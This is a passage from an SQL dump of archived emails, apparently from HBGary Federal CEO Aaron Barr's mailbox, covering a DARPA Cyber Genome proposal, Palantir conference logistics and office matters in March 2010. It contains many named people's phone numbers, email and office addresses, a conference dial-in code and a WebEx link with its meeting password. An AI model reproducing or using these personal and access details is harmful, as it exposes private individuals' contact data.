02:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14186,'aaron_hbgary_com/14186.html'),(3378,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001650.M43351P3547Q3377.eml','\"Timothy Ronan\" <tronan@palantirtech.com>,\"Timothy Ronan\" <tronan@palantirtech.com>,','Re: GovCon stuff','Hey guys,Sorry I am just overwhelmed with Proposals all week. &nbsp;I will talk with Brian and Greg to see what makes sense and get back with you soonest.AaronOn Mar 2, 2010, at 11:19 AM, Timothy Ronan wrote:Hi Aaron, Brian,&nbsp;I hope your preparation for GovCon5 is going smoothly.&nbsp; Is the HBGary/Xetron v0 integration still on target for the conference?&nbsp;I need a couple things from you to aid in conference preparation on our end.&nbsp; Could you please provide a high-res (300 dpi) vector (.ai, .eps) or uncompressed TIFF format company logo (in this case one for each of your companies).&nbsp; If this is not available, a high-res uncompressed jpeg is acceptable.&nbsp; We will also need a 100 word description of your company and integration with Palantir.&nbsp; A 100 word piece from each HBGary and Xetron is fine.&nbsp;A couple details on conference logistics:-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Partner booths will be a 10x7 space with a table, table skirt, and backdrop provided.&nbsp; All other booth media (i.e. signage, demo material, company collateral) will need to be supplied by you.-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Setup will be available in the evening on Tuesday (4/6) or pre-conference on Wednesday (4/7).&nbsp; Additional details to be available in the coming weeks.&nbsp;Additionally, please let me know if your companies are interested in any of the sponsorship opportunities available.&nbsp; Please do not feel obligated to be a sponsoring partner, I just wanted to remind you that the deadline to do so is approaching on Friday.&nbsp;Please do not hesitate to contact Matt or myself with any questions as you prepare for the conference.&nbsp;Cheers,Tim&nbsp;&nbsp;_________________________________________________________Tim RonanPalantir Technologies | Forward Deployed Engineertronan@palantirtech.com&nbsp;| 571.225.6179_________________________________________________________&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Monday, March 01, 2010 1:36 PMTo:&nbsp;Aaron Barr; Masterson, Brian (Xetron)Cc:&nbsp;Timothy RonanSubject:&nbsp;GovCon stuff&nbsp;Aaron, Brian,&nbsp;Tim Ronan is leading our GovCon coordination.&nbsp; To maintain your demo station we reserved for you guys he’s going to need some basic info.&nbsp; Ill let him pick up the thread from here.&nbsp;In other random news, Aaron, you had asked me about web scraping vendors.&nbsp; Out of the blue a rep from Cyveillance (http://www.cyveillance.com/) called me to chat partnership.&nbsp; I believe they have the capability you were looking for.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10071,'aaron_hbgary_com/10071.html'),(3379,'2010-03-02','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001652.M565038P3547Q3379.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,BrianneO@SecureDecisions.avi.com,LaurinB@SecureDecisions.avi.com,KennyP@SecureDecisions.avi.com,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>','DARPA Cyber Genome: RFP Sub SOWs','\r\n\r\n\r\n\r\n\r\nDARPA Cyber Genome: RFP Sub SOWs\r\n\r\n\r\n\r\n\r\nAttached is a template for the RFP Statement of Work.&nbsp; If possible, we would like a first cut draft of the SOW by end of today or as soon as possible. \r\n\r\nWe will discuss at the 4 PM Eastern daily telecon today.\r\n\r\n\r\n\r\nDarpa Cyber Genome (DCG) Daily Standup\r\n\r\nOccurs every day effective 3/1/2010 until 3/12/2010 from 4:00 PM to 4:30 PM Eastern\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\nChris\r\n\r\nCell: 571-216-6140\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Brown, Glenn M.\r\nSubject: RFP Sub SOWs\r\n\r\n\r\n\r\nAttached is an example Subcontractor SOW that goes with the RFP.&nbsp; This was the RFP for DARPA NCR Phase II that we sent AT&amp;T.&nbsp; I have made changes and added comments where you need to make all your updates.&nbsp; \r\n\r\nWhere the TA Sub SOW was light (~2 pages), the RFP SOW needs to contain all the detailed specifics of the work.&nbsp; It should include travel dates, CDRL formats, a WBS where their work is relevant, etc&#8230;&nbsp; \r\n\r\nUse this as a template. \r\n\r\n &lt;&lt;Example AT&amp;T SOW for NCR Phase II (3) 6-29-09.Rev.0003.doc&gt;&gt;  -Glenn\r\n\r\n\r\n',8958,'aaron_hbgary_com/8958.html'),(3380,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001652.M820256P3547Q3380.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','RE: DARPA Cyber Genome SOW template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYes, I see UC Berkley being a better fit for #3 because that\r\nwork is geared toward binary analysis.&nbsp; I see SRI&#8217;s decompilation as being a\r\ngood fit for #1 because normalization of data is more important for #1 than #3.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 02, 2010 2:40 PM\r\nTo: Starr, Christopher H.\r\nCc: Bob Slapnik; Ted Vera; Jason R. Upchurch\r\nSubject: Re: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe hard part for me right now (I guess chicken and egg\r\nproblem) is its hard for me to write a 4 year SOW when I am not sure under\r\nwhich framework we are working under. &nbsp;We have ideas using more granularly\r\nidentified traits as well as other &quot;hard artifacts&quot; to do\r\nrelationship analysis. &nbsp;But I am not sure that is the approach you are\r\ngoing for.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs an example. &nbsp;As you develop out your traits and artifact\r\nschema (this would be the normalization of the data), we would look for\r\nuniqueness or similarities in the traits (which represent the properties and\r\nbehaviors), if a trait is unique, how unique. &nbsp;It can\'t be an exact match,\r\nwe have to do some fuzzy analysis to do some percentage of match. &nbsp;Is all\r\nthe code the same but there is a new variable type, or a word mispelling, etc.\r\n&nbsp;Needs to be a tool that can help do the analysis and the marking.\r\n&nbsp;So when the analysis is done the analyst can mark as a parent or child,\r\netc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA graphic interface that allows you to visualize a piece of\r\nsoftware and its traits with linkages to its lineage, maybe colorcoded or some\r\nother visual cue for similarity. &nbsp;So some lines are more closely related\r\nthan others, so something that is spatially close would be more similar in\r\ncolor, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo HBGary and HBGary Federal can handle the trait\r\nenumeration and correlation of traits into lineages. &nbsp;We can work with\r\nSecure Decisions to develop the approaches to graphically represent this.\r\n&nbsp;Secure Decisions will be working on TA3 to develop visualizations for\r\nsoftware behaviors in loop and linear software maps.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo building of traits and trait correlation. &nbsp;But is\r\nthis within the right approach?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd again I think the benefit of SRI and UCBerkley in\r\nde-obsfucation and code execution is more for TA3 than TA1.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 12:43 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe (internal GD) first have to do the SOW for the teaming\r\nagreement, which is a general statement of what we expect everyone to be\r\ncontributing.&nbsp; We are working on a template for the 4-year Statement of\r\nWork.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s concentrate on the 4-year Statement of Work content.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 02,\r\n2010 12:30 PM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;RE: DARPA Cyber\r\nGenome SOW template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis looks like the SOW for the teaming agreement, not the SOW\r\nfor the actual work for DARPA.&nbsp; In other words, it is the work HBGary will\r\ndo between now and March 15.&nbsp; Do I have this correct?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Starr, Christopher\r\nH. [mailto:Chris.Starr@gd-ais.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 02,\r\n2010 12:20 PM\r\nTo:&nbsp;Bob Slapnik (HBGary)\r\nSubject:&nbsp;FW: DARPA Cyber\r\nGenome SOW template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob, FYI, here is a SOW\r\ntemplate.&nbsp; We do want everyone to send an initial draft of their SOWs\r\ntoday.&nbsp; I have sent this to Aaron as well.\r\n\r\nChris\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Corcino, Stefanie E.\r\nSubject:&nbsp;DARPA Cyber\r\nGenome SOW template\r\n\r\nAll,\r\n\r\nI have created a\r\nboilerplate SOW for use on this proposal.&nbsp; Areas in red are where we need\r\nto add Company specifics (for each Sub).\r\n\r\nPlease review, let me know\r\nif you feel anything should be added, reworded or removed.&nbsp; If you approve\r\nas is, please respond with &#8220;approve&#8221;.\r\n\r\nI&#8217;ll post the&nbsp;final&nbsp;&#8220;template&#8221; into our sharepoint site\r\nas soon as it becomes available.\r\n\r\n&lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT\r\n1.docx&gt;&gt;\r\n\r\nRegards,\r\n\r\nStefanie\r\nCorcino, PMP\r\nProgram Manager - Subcontracts\r\nGeneral Dynamics - Advanced Information Systems\r\n1405 N. Fiesta Blvd.\r\nGilbert, AZ. 85233\r\nDirect Line:\r\n480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nThis email\r\nmessage is for the sole use of the intended recipient\'s) and may contain GDAIS\r\nconfidential or privileged information. Any unauthorized review, use,\r\ndisclosure or distribution is prohibited. If you are not an intended recipient,\r\nplease contact the sender by reply email and destroy all copies of the original\r\nmessage.\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11242,'aaron_hbgary_com/11242.html'),(3381,'2010-03-02','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297001653.M104419P3547Q3381.eml','all@hbgary.com','Business Card????','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi to all,\r\n\r\n&nbsp;\r\n\r\nDoes anyone need Business Cards? &nbsp;&nbsp;If yes, Please get back\r\nto me as soon as possible. &nbsp;Penny needs to place an order and would like to\r\nplace one order.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2273,'aaron_hbgary_com/2273.html'),(3382,'2010-03-02','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001653.M318104P3547Q3382.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Phil Porras\" <porras@csl.sri.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Irby Thompson\" <irby@pikewerks.com>','WebEx link for today\'s Cyber Genome telecon at 4 PM','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWebEx link for 4 PM Eastern dial-in Cyber Genome meeting\r\ntoday is below\r\n\r\n&nbsp;\r\n\r\nDarpa Cyber Genome (DCG) Daily\r\nStandup\r\n\r\nOccurs every day effective\r\n3/1/2010 until 3/12/2010 from 4:00 PM to 4:30 PM Eastern\r\n\r\n866-765-5631, code 5057292#\r\n\r\n&nbsp;\r\n\r\nTime: 4:00 pm, Eastern Standard Time (GMT\r\n-05:00, New York) \r\nMeeting Number: 997 044 761 \r\nMeeting\r\nPassword: darpa \r\n-------------------------------------------------------\r\n\r\nTo join the online meeting \r\n------------------------------------------------------- \r\n1. Go to https://gdais.webex.com/gdais/j.php?ED=123768692&amp;UID=0&amp;PW=571bfb0e262a55213128\r\n\r\n2. Enter your name and email address. \r\n3. Enter\r\nthe meeting password: darpa \r\n4. Click\r\n&quot;Join Now&quot;.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1894,'aaron_hbgary_com/1894.html'),(3383,'2010-03-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001653.M560877P3547Q3383.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','RE: Great Washington Post article on the cyber war','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou should call him and ask for\r\na meeting.&nbsp; Take Aaron with you and Rich.&nbsp; Rich will scare the hell out of him\r\nand have him deploying DDNA to all of BAH\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, February 28, 2010 7:21 AM\r\nTo: all@hbgary.com\r\nSubject: Great Washington Post article on the cyber war\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nGreat Washington Post article on the cyber war.\r\n\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/02/25/AR2010022502493.html\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4036,'aaron_hbgary_com/4036.html'),(3384,'2010-03-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001655.M135833P3547Q3384.eml','\"Barr Aaron\" <aaron@hbgary.com>','Draft Teaming Agreement','We\'ll need to put SOW details in attachment A.  Dan gave me perms to plagiarize.\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6978,'aaron_hbgary_com/6978.html'),(3385,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001655.M378565P3547Q3385.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Bob Slapnik\" <bob@hbgary.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Teaming Agreement and Brainstorming','All,\r\n\r\nTed Vera is working up a teaming agreement we will have out later today.  In addition we are scheduling a brainstorming session tomorrow at 2pm to try and merge a technical approach around TA3.  I will be sending out some thoughts this evening.  At the end of the discussion tomorrow I would like to have a merged approach and some initial writing assignments.  I will provide a dial-in as soon as we establish one for those that can not attend in person.\r\n\r\n2214 Mt. Vernon Ave\r\nSuite 300\r\nAlexandria, VA 22301\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',292,'aaron_hbgary_com/292.html'),(3386,'2010-03-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001655.M590883P3547Q3386.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','Re: Clarification - RE: Advance Notice of DARPA Requirements - 	Intellectual Property and OCI','We have no potential OCIs.  We do not currently anticipate any IP\r\nexceptions, although this will depend somewhat on the specific\r\ntechnical approach the team decides to implement.  There is a\r\npossibility that we may use some SBIR developed technologies from\r\nprevious efforts.\r\n\r\nTed\r\n\r\nOn Mon, Mar 1, 2010 at 11:23 AM, Larson, Cindy S.\r\n wrote:\r\n> Hello Ted,\r\n>\r\n> Further clarification provided regarding my earlier email.\r\n>\r\n> We need you to investigate and confirm back to us if your company has any\r\n> potential OCI(s) as described in the 2nd and 3rd paragraphs.  If any\r\n> conflict of interest exists or may exist, please send the information\r\n> requested in para. 3 directly to me, Russ Wenthold, and Ryan Vela and not to\r\n> DARPA.\r\n>\r\n> GDAIS will include our disclosure and the subs disclosures at the time we\r\n> submit our proposal to DARPA.\r\n>\r\n> With regard to IP, please review DARPA\'s requirements/expectations and let\r\n> us know if you have issues with their expectations.  If your company will\r\n> have noncommercial or commercial asserted rights, you can informally\r\n> identify these to us now, but I will need you to complete the tables (7.1\r\n> and 7.1.2) and provide as part of your formal proposal submittal; same holds\r\n> true for items 7.2, 7.3 and 7.4.\r\n>\r\n> Thank you for your questions.\r\n>\r\n> Regards,\r\n> Cindy\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Monday, March 01, 2010 10:32 AM\r\n> To: \'ted@hbgary.com\'\r\n> Cc: Wenthold, Russell L.; Vela, Ryan; \'aaron@hbgary.com\'; Brown, Glenn M.\r\n> Subject: Advance Notice of DARPA Requirements - Intellectual Property and\r\n> OCI\r\n>\r\n> Hello Ted,\r\n>\r\n> As discussed by Russ Wenthold during this morning\'s Proposal Kickoff\r\n> conference call, DARPA has identified their expectations/requirements\r\n> applicable to Intellectual Property and OCI in DARPA-BAA-10-36 dated January\r\n> 28, 2010.  These requirements will be described in the forthcoming GDAIS\r\n> Request for Proposal.\r\n>\r\n> However, due to the very small window of time related to this proposal\r\n> effort I have attached DARPAs expectations for your review and response.\r\n>\r\n> Please review both documents and provide your comments to all by noon on\r\n> Wednesday, March 3rd, or sooner.   Thank you.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n> 480-441-4235\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7124,'aaron_hbgary_com/7124.html'),(3387,'2010-03-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001655.M917094P3547Q3387.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','Re: FW: Cover Sheet Information - Request for Information','> Type of business (large, small, etc.)\r\nSmall\r\n\r\n> Tech POC\r\nPrimary: Aaron Barr\r\nAlt:  Ted Vera\r\n\r\n> Address\r\n3604 Fair Oaks Blvd\r\nBuilding B, Suite 250\r\nSacramento, CA 95864\r\n\r\n> Telephone/Fax\r\nTel:  916-459-4727\r\nFax:  916-481-1460\r\n\r\n> Email\r\nAaron@hbgary.com\r\nTed@hbgary.com\r\n\r\n> CAGE Code\r\n5U1U6\r\n',6117,'aaron_hbgary_com/6117.html'),(3388,'2010-03-02','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001656.M218777P3547Q3388.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Teaming Agreement and Brainstorming','Aaron,\r\n\r\nFeel free to provide our conference number: 256.325.4671.\r\n\r\n	-irby\r\n\r\n\r\nOn Mar 2, 2010, at 4:07 PM, Aaron Barr wrote:\r\n\r\n> All,\r\n> \r\n> Ted Vera is working up a teaming agreement we will have out later today.  In addition we are scheduling a brainstorming session tomorrow at 2pm to try and merge a technical approach around TA3.  I will be sending out some thoughts this evening.  At the end of the discussion tomorrow I would like to have a merged approach and some initial writing assignments.  I will provide a dial-in as soon as we establish one for those that can not attend in person.\r\n> \r\n> 2214 Mt. Vernon Ave\r\n> Suite 300\r\n> Alexandria, VA 22301\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n\r\n',4955,'aaron_hbgary_com/4955.html'),(3389,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001656.M433140P3547Q3389.eml','\"Aaron Barr\" <aaron@hbgary.com>','Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGreg said he would focus on DARPA today.&nbsp; It is only 1:25 PM\r\nthere today, so he probably still has time to noodle on topic #1.&nbsp; If we don&#8217;t\r\nprime the pump with new ideas, our work share will be cut.&nbsp; Let&#8217;s get\r\nGreg thinking and writing on tech area #1 today.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16514,'aaron_hbgary_com/16514.html'),(3390,'2010-03-02','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001656.M617844P3547Q3390.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: Clarification - RE: Advance Notice of DARPA Requirements - Intellectual Property and OCI','Thank you Ted for your  quick reply.\r\n\r\nPlease provide a confirming response to me with regard to the IP after you receive the RFP/SOW which I plan to send to you later this week.\r\n\r\nRegards,\r\n\r\nCindy \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, March 02, 2010 2:11 PM\r\nTo: Larson, Cindy S.\r\nCc: Barr Aaron\r\nSubject: Re: Clarification - RE: Advance Notice of DARPA Requirements - Intellectual Property and OCI\r\n\r\nWe have no potential OCIs.  We do not currently anticipate any IP exceptions, although this will depend somewhat on the specific technical approach the team decides to implement.  There is a possibility that we may use some SBIR developed technologies from previous efforts.\r\n\r\nTed\r\n\r\nOn Mon, Mar 1, 2010 at 11:23 AM, Larson, Cindy S.\r\n wrote:\r\n> Hello Ted,\r\n>\r\n> Further clarification provided regarding my earlier email.\r\n>\r\n> We need you to investigate and confirm back to us if your company has \r\n> any potential OCI(s) as described in the 2nd and 3rd paragraphs.  If \r\n> any conflict of interest exists or may exist, please send the \r\n> information requested in para. 3 directly to me, Russ Wenthold, and \r\n> Ryan Vela and not to DARPA.\r\n>\r\n> GDAIS will include our disclosure and the subs disclosures at the time \r\n> we submit our proposal to DARPA.\r\n>\r\n> With regard to IP, please review DARPA\'s requirements/expectations and \r\n> let us know if you have issues with their expectations.  If your \r\n> company will have noncommercial or commercial asserted rights, you can \r\n> informally identify these to us now, but I will need you to complete \r\n> the tables (7.1 and 7.1.2) and provide as part of your formal proposal \r\n> submittal; same holds true for items 7.2, 7.3 and 7.4.\r\n>\r\n> Thank you for your questions.\r\n>\r\n> Regards,\r\n> Cindy\r\n>\r\n> ________________________________\r\n> From: Larson, Cindy S.\r\n> Sent: Monday, March 01, 2010 10:32 AM\r\n> To: \'ted@hbgary.com\'\r\n> Cc: Wenthold, Russell L.; Vela, Ryan; \'aaron@hbgary.com\'; Brown, Glenn M.\r\n> Subject: Advance Notice of DARPA Requirements - Intellectual Property \r\n> and OCI\r\n>\r\n> Hello Ted,\r\n>\r\n> As discussed by Russ Wenthold during this morning\'s Proposal Kickoff \r\n> conference call, DARPA has identified their expectations/requirements \r\n> applicable to Intellectual Property and OCI in DARPA-BAA-10-36 dated \r\n> January 28, 2010.  These requirements will be described in the \r\n> forthcoming GDAIS Request for Proposal.\r\n>\r\n> However, due to the very small window of time related to this proposal \r\n> effort I have attached DARPAs expectations for your review and response.\r\n>\r\n> Please review both documents and provide your comments to all by noon \r\n> on Wednesday, March 3rd, or sooner.   Thank you.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n> 480-441-4235\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1936,'aaron_hbgary_com/1936.html'),(3391,'2010-03-02','\"Aaron Barr\" 